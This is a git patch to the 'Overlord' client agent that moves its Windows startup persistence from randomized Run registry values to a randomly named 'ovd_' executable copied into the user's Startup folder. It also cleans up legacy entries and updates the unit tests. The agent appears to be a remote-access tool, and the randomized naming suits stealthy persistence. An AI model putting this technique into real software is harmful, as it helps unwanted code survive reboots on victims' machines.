From b9dccc33619dac5fccf10d1aaef826c827f9481b Mon Sep 17 00:00:00 2001 From: KingKDot Date: Wed, 11 Mar 2026 18:55:01 -0500 Subject: [PATCH] new persistence --- .../agent/persistence/persistence_windows.go | 173 ++++++++++++------ .../persistence/persistence_windows_test.go | 60 +++--- 2 files changed, 158 insertions(+), 75 deletions(-) diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows.go b/Overlord-Client/cmd/agent/persistence/persistence_windows.go index 4e1dcd9..39610d1 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_windows.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows.go @@ -16,23 +16,68 @@ import ( ) const registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run` +const startupFolderRelative = `Microsoft\Windows\Start Menu\Programs\Startup` +const startupExecutablePrefix = "ovd_" +const cleanupExecutablePrefix = "ovlrd_" + const legacyRegistryValueName = "OverlordAgent" const registryValuePrefix = "OverlordAgent-" -func formatRunRegistryCommand(exePath string) string { - trimmed := filepath.Clean(exePath) - if len(trimmed) >= 2 && trimmed[0] == '"' && trimmed[len(trimmed)-1] == '"' { - return trimmed - } - return fmt.Sprintf("\"%s\"", trimmed) -} - func getTargetPath() (string, error) { appDataDir := os.Getenv("APPDATA") if appDataDir == "" { return "", fmt.Errorf("APPDATA environment variable not set") } - return filepath.Join(appDataDir, "Overlord", "agent.exe"), nil + + startupDir := filepath.Join(appDataDir, startupFolderRelative) + if existing, ok := findExistingStartupExecutable(startupDir); ok { + return existing, nil + } + + name, err := generateStartupExecutableName() + if err != nil { + return "", err + } + + return filepath.Join(startupDir, name), nil +} + +func getLegacyTargetPath() (string, bool) { + appDataDir := os.Getenv("APPDATA") + if appDataDir == "" { + return "", false + } + return filepath.Join(appDataDir, "Overlord", "agent.exe"), true +} + +func findExistingStartupExecutable(startupDir string) (string, bool) { + entries, err := os.ReadDir(startupDir) + if err != nil { + return "", false + } + + for _, entry := range entries { + if entry.IsDir() { + continue + } + name := strings.ToLower(entry.Name()) + if !strings.HasSuffix(name, ".exe") { + continue + } + if strings.HasPrefix(name, startupExecutablePrefix) || strings.HasPrefix(name, cleanupExecutablePrefix) { + return filepath.Join(startupDir, entry.Name()), true + } + } + + return "", false +} + +func generateStartupExecutableName() (string, error) { + b := make([]byte, 6) + if _, err := rand.Read(b); err != nil { + return "", fmt.Errorf("failed to generate startup executable name: %w", err) + } + return startupExecutablePrefix + hex.EncodeToString(b) + ".exe", nil } func install(exePath string) error { @@ -42,24 +87,18 @@ func install(exePath string) error { return err } - overlordDir := filepath.Dir(targetPath) - err = os.MkdirAll(overlordDir, 0755) + startupDir := filepath.Dir(targetPath) + err = os.MkdirAll(startupDir, 0755) if err != nil { - return fmt.Errorf("failed to create Overlord directory: %w", err) + return fmt.Errorf("failed to create startup directory: %w", err) } if err := replaceExecutable(exePath, targetPath); err != nil { return err } - k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE) - if err != nil { - return fmt.Errorf("failed to open registry key: %w", err) - } - defer k.Close() - - if err := setStartupRunValue(k, targetPath); err != nil { - return fmt.Errorf("failed to set registry value: %w", err) + if err := cleanupLegacyRunValues(); err != nil { + return fmt.Errorf("failed to clean legacy startup registry values: %w", err) } return nil @@ -106,52 +145,90 @@ func replaceExecutable(exePath, targetPath string) error { } func configure(exePath string) error { - k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE) + targetPath, err := getTargetPath() if err != nil { - return fmt.Errorf("failed to open registry key: %w", err) + return err } - defer k.Close() - if err := setStartupRunValue(k, exePath); err != nil { - return fmt.Errorf("failed to set registry value: %w", err) + if exePath != "" && !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) { + if err := replaceExecutable(exePath, targetPath); err != nil { + return err + } + } + + if err := cleanupLegacyRunValues(); err != nil { + return fmt.Errorf("failed to clean legacy startup registry values: %w", err) } return nil } func uninstall() error { - - k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE) - if err != nil { - return fmt.Errorf("failed to open registry key: %w", err) - } - defer k.Close() - - if err := cleanupOverlordRunValues(k); err != nil { + if err := cleanupLegacyRunValues(); err != nil { return fmt.Errorf("failed to clean startup registry values: %w", err) } appDataDir := os.Getenv("APPDATA") - if appDataDir != "" { - targetPath := filepath.Join(appDataDir, "Overlord", "agent.exe") + if appDataDir == "" { + return nil + } - os.Remove(targetPath) + startupDir := filepath.Join(appDataDir, startupFolderRelative) + if err := cleanupPrefixedExecutables(startupDir); err != nil { + return err + } + + if err := cleanupPrefixedExecutables(filepath.Join(appDataDir, "Overlord")); err != nil { + return err + } + + targetPath, err := getTargetPath() + if err == nil { + _ = os.Remove(targetPath) + } + + if legacyPath, ok := getLegacyTargetPath(); ok { + _ = os.Remove(legacyPath) } return nil } -func setStartupRunValue(k registry.Key, exePath string) error { - if err := cleanupOverlordRunValues(k); err != nil { - return err - } - - name, err := generateStartupValueName() +func cleanupPrefixedExecutables(dir string) error { + entries, err := os.ReadDir(dir) if err != nil { - return err + if os.IsNotExist(err) { + return nil + } + return fmt.Errorf("failed to read startup cleanup directory %s: %w", dir, err) } - return k.SetStringValue(name, formatRunRegistryCommand(exePath)) + for _, entry := range entries { + if entry.IsDir() { + continue + } + name := strings.ToLower(entry.Name()) + if strings.HasPrefix(name, cleanupExecutablePrefix) || strings.HasPrefix(name, startupExecutablePrefix) { + if err := os.Remove(filepath.Join(dir, entry.Name())); err != nil && !os.IsNotExist(err) { + return fmt.Errorf("failed to remove startup artifact %s: %w", filepath.Join(dir, entry.Name()), err) + } + } + } + + return nil +} + +func cleanupLegacyRunValues() error { + k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE) + if err != nil { + if err == registry.ErrNotExist { + return nil + } + return fmt.Errorf("failed to open registry key: %w", err) + } + defer k.Close() + + return cleanupOverlordRunValues(k) } func cleanupOverlordRunValues(k registry.Key) error { @@ -177,11 +254,3 @@ func isOverlordRunValueName(name string) bool { } return strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) } - -func generateStartupValueName() (string, error) { - b := make([]byte, 6) - if _, err := rand.Read(b); err != nil { - return "", fmt.Errorf("failed to generate startup value name: %w", err) - } - return registryValuePrefix + hex.EncodeToString(b), nil -} diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go b/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go index 58d4a53..51aa65a 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go @@ -4,37 +4,51 @@ package persistence import ( + "os" + "path/filepath" "strings" "testing" ) -func TestFormatRunRegistryCommand_QuotesUnquotedPath(t *testing.T) { - in := `C:\Users\Test User\AppData\Roaming\Overlord\agent.exe` - got := formatRunRegistryCommand(in) - want := `"C:\Users\Test User\AppData\Roaming\Overlord\agent.exe"` - if got != want { - t.Fatalf("expected %q, got %q", want, got) - } -} +func TestGetTargetPath_UsesStartupFolderAndRandomizedOvdName(t *testing.T) { + appData := t.TempDir() + t.Setenv("APPDATA", appData) -func TestFormatRunRegistryCommand_LeavesQuotedPath(t *testing.T) { - in := `"C:\Users\Test User\AppData\Roaming\Overlord\agent.exe"` - got := formatRunRegistryCommand(in) - if got != in { - t.Fatalf("expected %q, got %q", in, got) - } -} - -func TestGenerateStartupValueName(t *testing.T) { - name, err := generateStartupValueName() + got, err := getTargetPath() if err != nil { - t.Fatalf("generateStartupValueName failed: %v", err) + t.Fatalf("getTargetPath failed: %v", err) } - if !strings.HasPrefix(name, registryValuePrefix) { - t.Fatalf("expected prefix %q, got %q", registryValuePrefix, name) + + wantDir := filepath.Join(appData, startupFolderRelative) + if !strings.EqualFold(filepath.Clean(filepath.Dir(got)), filepath.Clean(wantDir)) { + t.Fatalf("expected dir %q, got %q", wantDir, filepath.Dir(got)) } - if len(name) != len(registryValuePrefix)+12 { - t.Fatalf("expected random suffix length 12, got name=%q", name) + base := strings.ToLower(filepath.Base(got)) + if !strings.HasPrefix(base, startupExecutablePrefix) || !strings.HasSuffix(base, ".exe") { + t.Fatalf("expected randomized ovd_*.exe name, got %q", filepath.Base(got)) + } +} + +func TestGetTargetPath_PrefersExistingPrefixedExecutable(t *testing.T) { + appData := t.TempDir() + t.Setenv("APPDATA", appData) + startupDir := filepath.Join(appData, startupFolderRelative) + if err := os.MkdirAll(startupDir, 0755); err != nil { + t.Fatalf("mkdir startup dir failed: %v", err) + } + + expected := filepath.Join(startupDir, "ovlrd_existing.exe") + if err := os.WriteFile(expected, []byte("x"), 0644); err != nil { + t.Fatalf("write startup executable failed: %v", err) + } + + got, err := getTargetPath() + if err != nil { + t.Fatalf("getTargetPath failed: %v", err) + } + + if !strings.EqualFold(filepath.Clean(got), filepath.Clean(expected)) { + t.Fatalf("expected existing startup executable %q, got %q", expected, got) } }